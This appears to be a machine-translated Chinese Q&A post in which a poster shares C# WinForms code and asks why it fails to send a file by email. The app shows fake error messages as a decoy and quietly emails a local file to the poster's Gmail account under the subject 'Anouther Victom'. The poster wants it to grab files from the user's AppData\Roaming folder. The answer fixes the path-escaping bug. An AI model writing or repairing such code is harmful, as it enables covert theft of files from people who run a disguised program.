为什么我不能通过附件发送此电子邮件？

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Net; using System.Net.Mail; namespace WindowsFormsApplication1 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } public void email_send() { MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");//the smtp server mail.From = new MailAddress("my [e-mail]");//my email adress mail.To.Add("[e-mail]"); mail.Subject = "Anouther Victom"; mail.Body = "mail with attachment"; System.Net.Mail.Attachment attachment; attachment = new System.Net.Mail.Attachment("C:\test.txt"); //attachment file location mail.Attachments.Add(attachment); SmtpServer.Port = 587; SmtpServer.Credentials = new System.Net.NetworkCredential("my [e-mail]", "password"); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); } private void button1_Click(object sender, EventArgs e) { MessageBox.Show("Error retriving download url sorce check you url or serch the help guid for help solving this error"); } private void button2_Click(object sender, EventArgs e) { MessageBox.Show("Error no mod discoverd inside of resorce file"); } } } 

这不会发送我想要的电子邮件，当我尝试提供比c \ file.txt更大的文件路径但它不会理解C：\ Users \ George \ AppData \ Roaming或任何扩展我希望它复制资源提交给我并发送电子邮件给我以帮助开发应用程序。

Answer 1

你的问题是"C:\test.txt" ： "\t"被解释为一个标签。 您希望使用带有@"C:\test.txt"的字符串文字或使用"C:\\test.txt"转义反斜杠